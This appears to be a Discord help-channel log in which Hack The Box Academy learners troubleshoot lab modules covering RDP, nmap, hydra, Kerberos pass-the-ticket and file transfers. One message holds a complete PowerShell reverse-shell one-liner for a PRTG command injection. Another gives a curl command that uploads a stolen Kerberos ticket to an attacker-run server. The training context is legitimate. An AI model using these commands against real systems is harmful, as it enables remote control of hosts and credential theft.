#modules

1 messages · Page 214 of 1

fathom pendant
#

in this case since it's a windows machine

#

i wouldn't say exclusively

#

lots of commands take full filepaths

vague valve
#

hi guys. i jsut got the student premium for HTB. Doing the SOC path. is the rdp in windows section really slow? or is it just my pc

vague valve
#

An sttings that i might need to change?

graceful mortar
#

are you using xfreerdp?

#

try change the vpn server

open snow
vague valve
#

I am very new to htb so i am not sure. I just spawned the target they gave me, and used remina to enter the ip for the rdp machine

graceful mortar
#

are you using pwnbox?

#

try xfreerdp

#

see how that works

vague valve
#

okay. will do that. Thanks

maiden field
#

Working with IDS/IPS
Snort Rule Development

There is a file named log4shell.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to log4shell exploitation attempts, where the payload is embedded within the user agent. Enter the keyword that should be specified right before the content keyword of the rule with sid 10000098 within the local.rules file so that an alert is triggered as your answer. Answer format: [keyword];

I've downloaded the wireshark file but i'm not really sure to understand what I should be looking for. Can someone give me a hint

high sky
#

I am super glad to be here I have done 44 of these modules... looking forward to the discussion!

upbeat oak
#

Currently working on the cpts path, nowhere close to finished but after I would like dive more into iot, radio/wireless. Are there any modules that go over that? I did a search and only saw some modules cover the topic but im unsure if there is a module dedicated to it? If not any ideas where I could find more info on these topics

fathom pendant
#

the topics covered in academy are more related to web/system hacking not IoT hacking

timid steeple
#

Still feeling stupid and unable to get it to work!

upbeat oak
#

Ahh I see thank you for the info

fluid basin
#

MODULE: ATTACKING WEB APPLICATIONS WITH FFUF -> In the GET-Parameter fuzzing there is an assumption that the parameter we are fuzzing for is set to the value "key". Is this for the sake of the lesson? Or should I be aware of how to discover the value of the parameter I am fuzzing for as well?

timid steeple
#

I can get them to connect both ways but can't then run RDP on either!

dim wolf
#

you'll also learn later in the module how to fuzz for values

upper ridge
#

Can anyone help me with "Find out which domain the server belongs to." from the enumeration module. I tried many things and nothing is working??? What THM is looking for???

fathom pendant
#

if you mean HTB generally the domain is something.somethingelse

#

i.e. google.com would be the domain

graceful mortar
upper ridge
#

I understand, but nothing is working. Anyway I will try in another place.

fathom pendant
#

also "from the enumeration module" doesn't help if you're doing htb academy

#

there's a handful of "enumeration" modules

graceful mortar
#

hahahhaa

dim wolf
#

sometimes i feel like it's the exact opposite

graceful mortar
#

i think the same

dim wolf
#

but usually they're very patient

fathom pendant
#

there's two things that bug me: Poorly phrased questions - and a clear unwillingness to learn

hot ridge
#

Any help on the apocalypse challenge for noobs? Most of these are really like Got me lost not sure if it’s a riddle or wants me to do something

fathom pendant
#

if you're in the second camp of a clear unwillingness to learn - my patience will run out quick and I will tell you you're SOL and move on

#

I will generally try and help rephrase a question if it's at least somewhat understandable

#

considering that English isn't many people's first language some minor differences do happen

#

i.e. 'make' being used for 'completing'

dim wolf
#

that makes sense

fathom pendant
#

but if you're literally copy/pasting the question without providing info on what you've done, it doesn't help anyone to troubleshoot with you

#

and i mean with not for

#

like if you copy/paste a verbose error that is very specific about what it's expecting/wanting then -- yeah that's on you

dim wolf
#

i think sometimes people forget that there is the aspect of you actually doing things
like your example copy and pasting a verbose error message and asking what to do, in that moment i think they're too caught up in following instructions

#

tunnel-visioned is the phrase i'm looking for

fathom pendant
#

well it's not really that

#

it's moreso copy/pasting the question with "I'm not sure what to do"

#

which isn't helpful for anyone in helping diagnose either a tool or skill issue

dense pollen
#

Were you actually able to get it to work?? I tried your Suggestions and also googled a ton but it just wont run

dim wolf
#

i see

dim wolf
#

that's understandable

gentle root
#

You also have to install python2 pip with setup.py prior I think

fathom pendant
dim wolf
#

i think there was some part in the Learning Process module that talked about asking good questions

fathom pendant
#

and pip is good for installing a bunch

fathom pendant
dim wolf
#

it's a suprisingly uncommon skill

fathom pendant
#

i.e. "X isn't working" isn't descriptive; "I tried to do X with Y options and it's not working"

deft sparrow
#

Detection & Analysis Stage (Part 1)
At this point, we have created processes and procedures, and we have guidelines on how to act upon security incidents.

i dont really know where "processes" came from, i guess the word policies and procedures fit better ? or i dont know "processes" meaning. Perhaps it is a typo and instead or "processes" is supposed to be "policies"?

fathom pendant
#

can sometimes lead to "just reset the lab and it should work"

dim wolf
#

i'm not sure that "policies" would be a better word choice in this case

fathom pendant
naive imp
#

Has anyone here completed the "intro to network traffic analysis" module???

fathom pendant
#

and i'm sure plenty have but that's not your core question, is it

naive imp
#

yep

fathom pendant
#

in future: just ask your question

dim wolf
#

i'm bumping this question

fathom pendant
#

you don't need a leading question to ask a question

dim wolf
#

let me revise it a little

vocal lagoon
#

Could be stupid by why exactly do we use these 2 ip's

#

I understand the concept

#

just not where these 2 ip's came from

fathom pendant
#

or more specifically it's your ip; imo they should change the command to be -i tun0

naive imp
#

in the "intro to network traffic analysis" module, actually, i've been trying to complete that guided lab in there but while using the xfreerdp, i get a pop up in the machine asking for a password for "mrb3n"?? i've tried using my vm password and still failing to get authenticated.

fathom pendant
naive imp
#

then what is it

fathom pendant
#

i'm sure the question might provide credentials

naive imp
#

whattt

vocal lagoon
#

that makes a bit more sense but what exactly is the tun0 ip? and the 2nd one is the ip for my vm?

fathom pendant
#

usually in a little text above the question

vocal lagoon
#

I get that it's intercepting the information between my ip and the target ip when I do the ncat connection

#

but how exactly do I find/get my tun0 ip

fathom pendant
fathom pendant
dense pollen
vocal lagoon
#

that cant be right for the 2nd ip being the target machine

fathom pendant
#

it is

vocal lagoon
#

my target ip is different

fathom pendant
#

well yes

#

because the examples don't use the active target

vocal lagoon
#

no but during the active portion of the lab the command still worked

fathom pendant
#

they use a general one

fringe urchin
vocal lagoon
#

I didn't swap any of the ip's out

#

yet I still got the flag just fine

fathom pendant
#

which can happen

vocal lagoon
#

most likely

fathom pendant
#

you have to know how to adapt commands to suit your needs

vocal lagoon
#

so for future ref, do "ip a" to get mine, then just swap the other for the target

maiden shard
naive imp
#

@fathom pendant i have DM you... plzz check

fathom pendant
#

you won't always be able to just copy/paste commands without modifying them

vocal lagoon
#

Yeah I know that

#

just wondering why this one worked out lol

fathom pendant
#

don't just DM then ask

fringe urchin
vocal lagoon
#

yee

fathom pendant
#

I will 1000% ignore requests

vocal lagoon
#

Thanks guys :)

fathom pendant
#

I also haven't done that module @naive imp so I'm making a general assumption based on other modules

#

so I can't help you further beyond "read the section"

naive imp
#

bruhhh

fathom pendant
#

but usually credentials you'd need are provided by the section

rustic sage
#

Howdy,
Recently joined the Discord and I have been stuck for a few hours on the Login Bruteforcing HTB Academy module. I'm in the process of completing the Login Form Attack section and have used Hydra (correctly I think). I grabbed the creds, attempted to login via the website's GUI and the it doesn't seem to be working. Tried reproducing my efforts with the creds with cURL and that didn't seem to work as I was hoping it'd provide the HTML source with the HTB{} flag. Any/all advice would be great!

fathom pendant
#

an example of provided credentials from the attacking common services module

naive imp
#

not worked till now bro

naive imp
maiden shard
fathom pendant
#

not just the password

crystal steeple
#

hello im stuck in the question in AD module of living of the land section : RE: Utilizing techniques learned in this section, find the flag hidden in the description field of a disabled account with administrative privileges. Submit the flag as the answer.

#

i did the UAC =2 to get disabled account

next bronze
dim wolf
royal tundra
#

any hint for LockTalk API: step 2

fathom pendant
crystal steeple
fathom pendant
#

you might need to change a couple parameters i.e. OU stuff

dense pollen
naive imp
#

but i am not talking about the terminal... i am talking about the authentication for "mrb3n"

minor stag
#

For the purposes of htb academy, when I find all these from an axfr, do I have to put each IP in /etc/hosts for them to work properly for directory enumeration?

dim wolf
#

why are you trying to authenticate as mrb3n

naive imp
fathom pendant
#

also dig has nothing to do with directory enumeration

minor stag
#

I know that

fathom pendant
#

it has to do with subdomain enumeration

#

but directory enumeration is another tool entirely

minor stag
#

I meant hitting the other zones with something like dirsearch

crystal steeple
dim wolf
next bronze
fathom pendant
rustic sage
rustic sage
naive imp
noble hazel
#

Hi all, need help with NTLM Relay attacks - skill assessment with the question: Submit the password of the SQL user 'sqlftp'. I have access to Backup01$. I looked in the ShareBackups and nothing interesting there. Also have use ticketer.py to request a ticket with Backup01$ nt hash for -spn cifs/sql03.inlanefreight.local Administrator but doesnt seem to work. Any help greatly appreciated it.

next bronze
naive imp
crystal steeple
#

tried some combinations with thay filter ldap feature but i think im lost

fathom pendant
crystal steeple
fathom pendant
#

you can also likely make an educated guess based off of other users so far

gentle root
fathom pendant
#

¯_(ツ)_/¯

gentle root
#

So you have to install python2's pip to install something (I think this is just what worked for me)

#

Works fine on pwnbox for that module so

crystal steeple
#

i just didnt want to dig through all the usernames, especially the module want you to use that ldap filter

noble hazel
crystal steeple
#

but my bad i didnt see the samaccountname attribute in the section example

#

anyways thanks :3

next bronze
noble hazel
#

aa ok

vocal lagoon
#

on the nmap scripting engine module I could use a nudge in the right direction, I've done the command
sudo nmap 10.129.33.55 -sV -p 80 --script vuln
I just need a nudge on what im looking for exactly

north berry
#

Hi

vocal lagoon
#

even using grep to look for a "flag" hasn't yeilded results

#

I do get responses in response to the search but

north berry
#

eternalblue doesnt works on windows 10 right

hot ridge
#

The flag command challenge is broken will not accept any answer but north from there it gives options but only lets you choose a single answer all result in death if I were able to choose a different path but I can’t so I’m stuck it’s broken for sure

north berry
#

but old version of windows 10 hv it or not

hot ridge
#

Also support chat not responding

#

Given that it ask you to choose North south east and west but you can only choose north is why it’s broken because north leads to death

vocal lagoon
#

nvm figured it out :3

misty saddle
#

I'm in module Password Attacks, Section Pass the Ticket (PtT) from Windows. I cannot RDP with the credentials that's given. Does anyone know if this is an error or am I doing something wrong?

next bronze
#

wrap it in single quotes

fathom pendant
#

^

misty saddle
#

So like "/u:administrator" etc.

fathom pendant
#

$$ is a variable that calls the PID of the shell you're in

misty saddle
#

ohh

#

Yeah, I can see how that messes it up

fathom pendant
misty saddle
#

Thanks a lot! I'll give it shot

fathom pendant
#

Single quotes tells bash to interpret it as a string and not a variable

misty saddle
#

That did the trick. Thanks guys ❤️

fathom pendant
#

Also known as a string-literal

misty saddle
#

I'll for sure note that down. Wasn't really aware of that

hexed spindle
#

Is anyone available to help with the Attacking Common Services - Easy lab?

analog dock
#

Be more specific

sage agate
#

heyo, quick question. Im doing the ips/ids evasion hard and when i do a scan all of the ports not open end up not being shown. im using 'sudo nmap <IP> -sS -sU -Pn -n -F' just wondering if im messing up somehow

rustic sage
#

I cleared it with that .exe for lazange, it was literally in the directions. I wasted so much time not paying attention. My fault. Thanks bro

hexed spindle
# analog dock Be more specific

I posted more details yesterday and my post was removed because it's a t2 module. I was told to only talk about anything over t0 in DM.

analog dock
#

You can still ask questions

minor stag
#

I've got a password with a "!" in it and bash doesn't like it. Quotes don't seem to work. How do I get bash to read it as just another character?

minor stag
#

I get a syntax error

analog dock
#

Show me

minor stag
#

Oh wait, that was double quotes. I'll try single

hexed spindle
#

I am trying to use the WHERE command to find the flag and it just returns a blank page.

minor stag
#

Single doesn't work either

analog dock
minor stag
#

Actually this is a new and exciting error

#

||xfreerdp /u:fiona /p:'{redacted}' /v:10.129.200.178 -r disk:linux='/home/silvance'
[14:04:16:498] [2110006:2110006] [ERROR][com.winpr.commandline] - Failed at index 1 [/u:fiona]: Invalid sigil||

analog dock
#

Can you try without the r disk?

minor stag
#

Huh, it works without the r disk. Never had an issue with it until now

analog dock
#

I use /drive personally

minor stag
#

I'll try that

analog dock
#

So /drive:/home/silvance,KALI_SHARE

strange pivot
#

I use drive as well 😛

minor stag
#

Gotcha

strange pivot
#

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer /dynamic-resolution like that

analog dock
hexed spindle
#

I have, and none of them seem to work. I even tried getting the output from the mySQL server as someone posted the direct link and still get NULL as an answer.

strange pivot
#

my next page is the easy lab, when i reach it, ill help you if I can

arctic hearth
#

My inner onion is battling through the yearly Academy subscription, or making labs by myself (4x cheaper and "lifetime"). Working as admin for now

I do enjoy the Academy model, but upfront cost will cut my finances for 6-10 months

next bronze
#

you don't have to get annual, if you're planning to do 1 path, getting 2 months of plat is substantially cheaper

fathom pendant
analog dock
fathom pendant
#

It's sharename,path

#

Not path,sharename

#

For /drive:

analog dock
#

Nah, works for me

fathom pendant
#

Huh. Neat I guess it just works that way

analog dock
#

It’s how I have it in my notes, and I see it in my command history

fathom pendant
#

I mean I guess it works in both ways

#

As either share,path or path,share

#

The man page only shows share,path

analog dock
#

🤷🏼‍♂️

fathom pendant
#

¯_(ツ)_/¯

graceful mortar
fringe urchin
#

have you tried using them as login creds?

minor stag
#

That's a strange looking set of creds

fringe urchin
#

well its under admin pass

minor stag
#

True.

fringe urchin
minor stag
#

I'll delete the photo just in case

patent oak
#

Guys you know in the AD Enum & Attacks module. Whenever it says to RDP into MS01 and then ssh into a 172. address as htb-student. I always get permission denied. I've worked around it so far. But is it me or is it goosed? Is there supposed to be a trick to this? I just ssh htb-student@172.16.5.225 with the usual PW.

#

Miscellaneous misconfigs section at the moment

fathom pendant
patent oak
#

I think I'm not getting this kek

fathom pendant
#

The ms01 host creds is the usual windows htb-student creds

patent oak
#

The rdp is fine

fathom pendant
#

172.16.5.225 is a separate linux host

patent oak
#

So forward the port or tunnel or something?

fathom pendant
#

If you want to interact directly with it via your own machine

patent oak
#

It just says open a PS console and ssh in so I thought it was just simple

fathom pendant
#

You can also open a powershell terminal and ssh to it

patent oak
#

Thats the thing it won't let me do

fathom pendant
#

Note the creds are gonna be the usual linux ssh creds

#

Not the windows one

patent oak
#

😢

fathom pendant
#

I believe at the top of the section it gives you creds

#

Username:password

tulip bobcat
#

will htb ever fix the connection issues on the targets ? while the content is amazing i'm starting to get annoyed by the connection issues, keep swapping vpns around to sort this thing out is annoying

fathom pendant
patent oak
#

Its just worked

fathom pendant
patent oak
#

Who turned it on

fathom pendant
sage agate
#

heyo noobie question im sure but does this -"Not shown: 869 closed tcp ports (reset), 128 filtered tcp ports (no-response)"- happen when you scan because of the IDS/IPS blocking it or is there something else? When i use a version scan i get more ports listed out than if i just do an -sS or -sU

patent oak
#

I swear I've typed and pasted the same creds about 2000 times

tulip bobcat
patent oak
fathom pendant
#

Sometimes the windows labs need a few minutes to start up

patent oak
#

Thanks for your help

fathom pendant
#

Like up to 10 minutes in some cases

patent oak
#

That makes sense. I've been needing ages for windows hosts to boot

tulip bobcat
fathom pendant
#

otherwise switch vpn regions, try again, make sure you use tcp ¯_(ツ)_/¯

tulip bobcat
fathom pendant
#

Don't gotta be a dick dude

#

If you're consistently having issues contact support

#

There's really not much that we can do to magically suggest a fix for your issue, aside from asking you to do what's worked for us

tulip bobcat
#

i'm not, but you try to answer a question that's not for you.

#

i've also not asked for a fix 🙂 obviously again you just ignore what i said

#

only asked if htb will ever fix those issues

fathom pendant
#

I'm just saying complaining on the discord does nothing

fathom pendant
tulip bobcat
sage agate
#

:x

fathom pendant
tulip bobcat
#

🤣 i've yet to make you in any way while you already called me in a bad way twice

fathom pendant
#

When you ask a question or make a statement in this channel it's generally assumed you're asking for help

#

Therefore I read it as you were asking for advice on how to resolve the issue presented

cloud urchin
#

honestly sounds like an isp issue, i'd call them. i've never had issues with htb. it's been the most stable platform out of any i've tried.

fathom pendant
cloud urchin
#

yeah i have seen that for sure

fathom pendant
#

For a bit it was really bad due to upstream providers having network issues

tulip bobcat
cloud urchin
#

i didn't scroll up that far tbh, only read the last few msgs

fathom pendant
#

But now it's just returned to the intermittent issues of "sometimes it just no work"

sage agate
#

can i ask less module related questions here about personal vm setup/command stuff or is there another place?

tulip bobcat
#

using the attack boxes just because of those connection issues but yes i would love to use my vm...

sage agate
#

ty

minor stag
#

I'm stuck at this part of the Attacking Common Services - Hard lab. I know I need to impersonate but I don't fully understand this process

calm abyss
#

Hello, i got stuck on Password Attacks
Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.

I got the username and password but when i log to smb i cannot get the flag.
The dir and ls command are disabled.

I dont know what to do

fathom pendant
minor stag
#

I'm not. This is my output.

fathom pendant
#

It doesn't show \SQLEXPRESS at the end

crystal steeple
#

hello, how do you check what groups a specific user in?

minor stag
#

I thought I was getting closer with the impersonation error, but I'm still not sure on the syntax of the command

fathom pendant
minor stag
#

I did, but it gives an IP address. I didn't get an IP address

fathom pendant
#

Specifically regarding accessing linked servers

minor stag
#

I'm reading through the "Identify Linked Servers in MSSQL" section right now

fathom pendant
#

In this case the linked server is the fqdn

minor stag
#

New error. Another step in the right direction maybe

next bronze
fathom pendant
# minor stag

What's prompting you to select @@WINSRV02, and @@SQLEXPRESS

minor stag
#

I thought the example they gave was a "fill in the blank" style command

fathom pendant
#

No

minor stag
#

Oh. Well that explains a lot

fathom pendant
#

@@severname pulls the server name of the host of the dB, @@version pulls the version of the db

sage agate
#

sorry, another question about this IPS/IPD evasion module. im trying to run the ncat with port 53 bound but im getting a
libnsock mksock_bind_addr(): Bind to 0.0.0.0:53 failed (IOD #1): Permission denied (13)
Ncat: TIMEOUT.

minor stag
#

The command theoretically succeeded but it didn't do anything

elder rose
#

Anyone know if Linux fundamentals page 18/scheduling has an error in the question?

sage agate
#

! ty

fathom pendant
crystal steeple
next bronze
#

ah

#

check the output of getuserspns

fathom pendant
#

^

#

It's really that shrimple

crystal steeple
#

bruh

#

hahahaa i hate when i miss this small details

#

imma take a break :3

fathom pendant
#

Forest for the trees

elder rose
#

I got the right answer after failing a while. Then I looked up the answer. I noticed in the write up of it, that they had a different file name in their command to get the right answer.

fathom pendant
#

There's no official writeup of academy modules

dull hamlet
#

anyone having issues reaching the spawned machines? I can't reach them even within pwnbox

fathom pendant
#

You need to specify the port after --source-port

#

sudo ncat -nv --source-port <your_port> <ip> <connection_port>

sage agate
fathom pendant
#

It can take a minute to connect and give you the answer

sage agate
#

times out unfortunately

fathom pendant
#

Try respawning the target and trying again

sage agate
#

yep that did it ty

nocturne reef
#

Is it allowed to stream while doing a hack the box challenge?

dim wolf
nocturne reef
#

thanks a lot

fringe urchin
#

ffs tried soooo many wordlists on SMTP till i saw the one in resources.... cryge

minor stag
restive sparrow
#

Hi freinds! I'm on the basics path login brute force 2nd skills assessment (Service Login portion) and running into a wall on hydra brute forcing a web form. Im either getting [ERROR] the target is using HTTP auth, not a web form, received HTTP error code 401. Use module "http-get" instead or I get all falst positives if I use http-get. Any pointers?

misty saddle
cloud urchin
#

DoS!

misty saddle
#

xd

#

I could really use some help from some File Transfer pro's. I have to upload this file krb5cc_647401106_I8I133. I've tried python server and scp but with no luck. I have root access on the target.

cloud urchin
#

you're transferring from linux to linux or what?

misty saddle
#

Yes, exactly

cloud urchin
#

why doesn't your python server work

#

python3 -m http.server

#

then just wget <ip>/file.txt

misty saddle
#

Yeah, 2 sec I can send screenshot

cloud urchin
#

you can also try netcat

misty saddle
#

good idea! i'll try that out

cloud urchin
#

172 is probably the wrong address

#

htb ip's start with 10.10

#

they use 172 for their separate vlans

misty saddle
#

When i do it with the target address it refuses the connection instantly

cloud urchin
#

show that command

misty saddle
#

ye 2 sec

next bronze
#

looks like there's a pivot

cloud urchin
#

what's tun0 ip on the left box

#

oh i see it

#

what about the right box

misty saddle
misty saddle
cloud urchin
#

yeah so i don't think the victim box is on the same network as your attacker box

#

they'd need to be on the same network to do that

misty saddle
#

True that. My brain is on 20% capacity, been battleing with this section for a few hours now

cloud urchin
#

i'm not sure of the context of how you're connected to the left box, but they're not on the same network it seems

misty saddle
#

It's the Pass the ticket for Linux Section in the Password Attack module

next bronze
#

how are you connecting to the left box

misty saddle
#

First I pivoted from the user David, then to Carlos, then to svc and then I escalated privs on svc to root. So I've jumped quite a lot around in the system. And everything is pretty much pass the ticket.

cloud urchin
#

well it sounds like the easiest way would be to xfer that file back to david's computer

#

then you can access it from your vm there, although somehow i doubt this is the intended way in the module just because it sounds so convoluted

#

but i haven't seen that module so i have no idea

misty saddle
#

yeah, that sounds like the "easiest" way to do it, even tho it feels a bit of scope for this module

next bronze
#

that doesn't answer how you're connecting to the left box

#

switching user != network pivot

misty saddle
#

switching user

cloud urchin
#

something's not right and i agree with xre0us

#

somehow you got into a private network

next bronze
#

yeah, the question is how you're doing that

#

switching user wouldn't help you to pivot in the network

cloud urchin
#

you must have connected to a computer which had access to another network, and you used it as a jumpbox to the other vlan

misty saddle
#

I searched after a step by step guide, since i cant really explain it well. https://www.youtube.com/watch?v=qteCKiTkn_g&ab_channel=MonSi

"Unravel the Secrets of 'Pass the Ticket (PtT)' on Linux | Master the Art of Cybersecurity 💻🔐

🔥 Learn the Insider Tips to Pass the Ticket (PtT) Attack from Linux Systems! 🔥

Are you ready to level up your cybersecurity skills? 🚀 Join us in this action-packed tutorial as we demystify the infamous 'Pass the Ticket (PtT)' attack technique on Linux...

▶ Play video
cloud urchin
#

alright hold up, before we get lost in the weeds here, why do you need to xfer that file. what is the question in the module asking you? i highly doubt you need to get this back to your vm.

misty saddle
#

Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio.

cloud urchin
#

you don't need to take the file back to your box to do that

misty saddle
#

Yes, because I gotta cahnge the settings of the KRB5CCNAME env variable to use Impacket with Proxychains and Kerb auth

#

It also says in the section Finally, we need to transfer Julio's ccache file from LINUX01 and create the environment variable KRB5CCNAME with the value corresponding to the path of the ccache file.

next bronze
#

...so you're using proxychains?

cloud urchin
#

you're on linux01 aren't you? isn't that the box on the left?

misty saddle
cloud urchin
#

so you're on the machine it wants you to set the env on...

#

idk actually, i dont know the full context of that module.. xre0us probably has better answers for you

#

if you have a kerberos ticket on the machine you should be able to just use it there

misty saddle
#

Yeah, but they make it seem that you have to export the file to your host and even mentions that I have to check the file transfer if I don't know how to transfer it.

#

But thanks a lot for your input, I really appreciate it!

cloud urchin
#

export is a linux command

#

they're probably not talking about actually transferring the file

#

for example

#

that's an example

misty saddle
#

That might be it, I'll try it out!

rustic sage
#

Module: OSINT: CORPORATE RECON
Section: Locations

Question asked:
What are the city's coordinates where one of the company's offices, "inlanefreight.com" has its headquarters in Germany/USA/UK? We suggest to use https://latitude.to for this. (DD Coordinates format: 00.00000 0.00000)
HInt: If the settings are correct and the search is performed correctly, Google will display the coordinates in large print in the first position.

What i have done: I looked at the website and used the locations of the three cities mentioned on the offices page but these answers were rejected.
I don't see any other page.
The entity is not on Google Maps.
The google terms i used don't produce any location other than the page or one from cutestat.

Any hints or methods to get to the answer? Can DM me too.

next bronze
misty saddle
cloud urchin
#

i believe the scenario here is that he has root access on a remote linux box and has obtained julio's kerberos ticket. all he needs to do is use the ticket to get julio's file... that's what it sounds like at least

next bronze
#

yeah how were you able to transfer it out

misty saddle
#

I didn't transfer it out

next bronze
#

ah

cloud urchin
#

xre0us he was confused, the module says to export it, and it means the export command in linux, not to file transfer.

misty saddle
#

Finally, we need to transfer Julio's ccache file from LINUX01 and create the environment variable KRB5CCNAME with the value corresponding to the path of the ccache file.
Note: If you are not familiar with file transfer operations, check out the module File Transfers.

cloud urchin
#

NCbirdman, In Linux, the export command is used to set an environment variable... so you need to set that ticket as the KRB variable and connect...

next bronze
#

nah you need to transfer it out, there's no impacket on the first target so you need to do it in your own vm

misty saddle
#

Yes, I know. But it explicitly says I gotta transfer it out

next bronze
#

I just did the whole thing again

cloud urchin
#

'transfer it from linux 01..' --- to where?

next bronze
misty saddle
next bronze
#

alright, run an upload server in your own vm, python3 -m uploadserver <port>, then in the linux host, upload it like this

curl -X POST http://ip:port/upload -F 'files=@fileName'
cloud urchin
#

that was his problem, he pivoted remember lol

#

he said this is the question it's asking "Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio." ---- this doesn't say anywhere he needs to xfer the file.

next bronze
#

there's no pivot, it just doesn't show the 10.129.x.x ip for some reason on the linux box, even though that's how you ssh in, and running the python server doesn't open it on the 10.129.x.x ip

misty saddle
#

Oh ma god

next bronze
misty saddle
#

it worked

cloud urchin
#

ahh ok

misty saddle
#

Thanks guys, u are the best

cloud urchin
#

good job lol sorry i probably caused more confusion more than anything

next bronze
misty saddle
#

No worries, I explained it so badly

next bronze
misty saddle
next bronze
#

nice

misty saddle
#

Maybe I can actually go to bed tonight RPOGGERS

next bronze
misty saddle
#

All of us learned something new today

graceful mortar
alpine umbra
#

hi guys i am stuck on this in web information gathering module at active subdomain information. any help?

fathom pendant
#

not everything will be on the initial domain

alpine umbra
#

yah i am digging

fathom pendant
#

subdomains exist

alpine umbra
#

yeah i found sub dom list

fathom pendant
#

some can be dug through, some cannot

alpine umbra
#

should i dig all

fathom pendant
#

i mean that's up to you; but the answer lies inside

alpine umbra
#

hm

fathom pendant
#

(yes that was an intentionally phrased hint)

alpine umbra
#

find that and finish that section

#

thanks.

winged yew
sour scroll
#

Where’s the flag?

grand portal
#

target is not spawning. is the server down or something?

oak sage
#

gotta be same for me

grand portal
#

This is bad, sometimes I am busy or down. Now I get the time, server is down.

alpine umbra
#

check tom user mailbox bro

fathom pendant
oak sage
alpine umbra
#

same module next section no idea what to do

#

@fathom pendant

fathom pendant
#

Read the section and follow the provided steps

#

There's a reason they give you a vHost to start with, like a benchmark

vale tusk
#

Hi, win privilege escalation, kernel exploit. I get meterpreter shell, but cant execute any commands, the reason timeout. Its trouble with connection or i missing something?

night crypt
#

Hi everyone I think the answer is a no but just want to confirm - do the HTB Academy specific targets have an AU region option or are they exclusively in the US & EU?

#

getting a lot of lag and it's just a bit painful from down here 😢

cloud urchin
night crypt
#

thanks, not just me being silly then 😄

shut juniper
lucid sluice
#

Why am I getting 54 correct password when perform in brute force using hydra. according to the HTB im suppose to get 0 for it's only to verify that the default passwords and username do not work
any help to put this matther at rest will be appreciated

cloud urchin
#

after :F= looks weird. can you show a pic of the webpage's msg about failing a login?

lucid sluice
#

Their are none unfortunaty

cloud urchin
#

well, you set up your hydra so it's looking for a failure message

lucid sluice
#

it's load and return the same page

cloud urchin
#

so probably has something to do with that

#

remove the :F and everything after?

lucid sluice
#

makes sense thanks

solar sparrow
#

go

limpid hemlock
#

Does anyone knw how to change the payment method I tried to change but it ain't showing any other option than credit card

gilded fulcrum
#

so i am trying to use whatweb to pull information on "dev.inlanefreight.local" the module states this is a vhost but only gives me an ip address that just defaults to a inlanefreight.local page. i cannot access the "dev." portion of the website what so ever even when adding it to my /etc/hosts file

#

what am i doing wrong

fathom pendant
#

It's ip domain/site

gilded fulcrum
#

/sigh

#

Thank you once again @fathom pendant

mild cypress
#

Quick question, I'm working on https://academy.hackthebox.com/module/113/section/1094 (PRTG Network Monitor) and following the instructions to gain remote code execution through notifications. Seems like I'm unable to get my reverse shell working though. Wondering if anyone could double-check my syntax and offer any hints.

Here's the Parameter value:

test.txt; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('MY_IP_HERE',44
3);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

(As a side note, I was able to complete this through other means, just looking to understand what's up.)

dreamy solar
#

Hello help me please how to extract logon;;password plz??

ruby whale
#

Elevate privilege

#

😵‍💫

dreamy solar
#

very nice man !

ruby whale
# ruby whale 😵‍💫

Completing 100% path is tiring when there are windows machines taking a lifetime to spawn/acess , struggling with Citrix Breakout section due to net issues.

ruby whale
dreamy solar
#

Fianly I see, Just exec with prog in c:/ at the admin

minor stag
#

Any idea what's causing these issues with reverse port forwarding? I don't have to get a successful connection to answer the questions and move on, but I'd at least like to get the connection so I understand the concept.

spring trellis
#

Hi guys, I am trying to do the nessus module in academy but not exactly sure how to connect to nessus

#

can I ping someone about it ?

#

I am on the Skill Assesment part

pastel lava
# dreamy solar

Ive completed relitavely the same amount only have windows priv esc left but thats seems long as hell so ive been putting it off

spring trellis
#

but not sure how to use nessus via the provided instructions

pastel lava
acoustic owl
#

Nothing has been announced yet. But the modules in the Academy give us hope for such a certificate. It has not been said when it will be released.

tranquil axle
#

there are no news yet about a new cert. However there have been some more modules in the direction of advanced AD attacks and there are at least 3 modules regarding assembly/bof that are not yet part of any path

acoustic owl
#

Take a look at the release dates of CBBH and CPTS. CBBH = March 22, CPTS = September 22
This year CWEE was published in February. If HTB does the same as in year 22, then we can expect another certificate in the fall.
I am sure that we will receive further information on HTB's social media channels in good time.
So keep your eyes open and check the social media channels regularly

crystal steeple
#

hello im having problem differenciating between object ACE type and ActiveDirectoryRights , when we talk for example about GenericAll , its and ADright given right? but what is the object ACE type

#

im stuck at ACL enumeration section : What is the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)

#

i used bloodhound found a two ADrights to GPO management group but it seems its not the answer

#

i used the PS command but seems to be freezing and unresponsive

past compass
#

I'm having trouble myself with the module ICMP Tunneling with SOCKS, it looks like the tunnel is very unstable (kali / virtual machine / pwnbox).

acoustic owl
#

If I am right, then HTB still has a while to develop and release more modules

dense pollen
#

Can I ask someonw about the server-side attacks skill assessment? It seemed a bit too easy?? Just want to make sure I didnt skip anything

misty saddle
#

Hi fellas! I could use some help.
Module: Password Attack
Section: Pass the Ticket (Linux)
Question: Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

I found the keytab for Linux01 as shown in my screenshot. I've tried to do Pass The Hash with NTLM and I've also tried to crack it but with no luck.
Can anyone nudge me in the right direction?

next bronze
#

just pth?

shut wraith
#

What's wrong with this command:

xfreerdp /u:'htb-student' /p:"HTB_@cademy_stdnt!" /v:'10.129.223.195'

analog dock
#

Not sure if it makes a difference, just how I always do it

misty saddle
# next bronze just pth?

I've tried with different variations of the username. Like LINUX01$, linux01@inlanefreight.htb etc.

analog dock
#

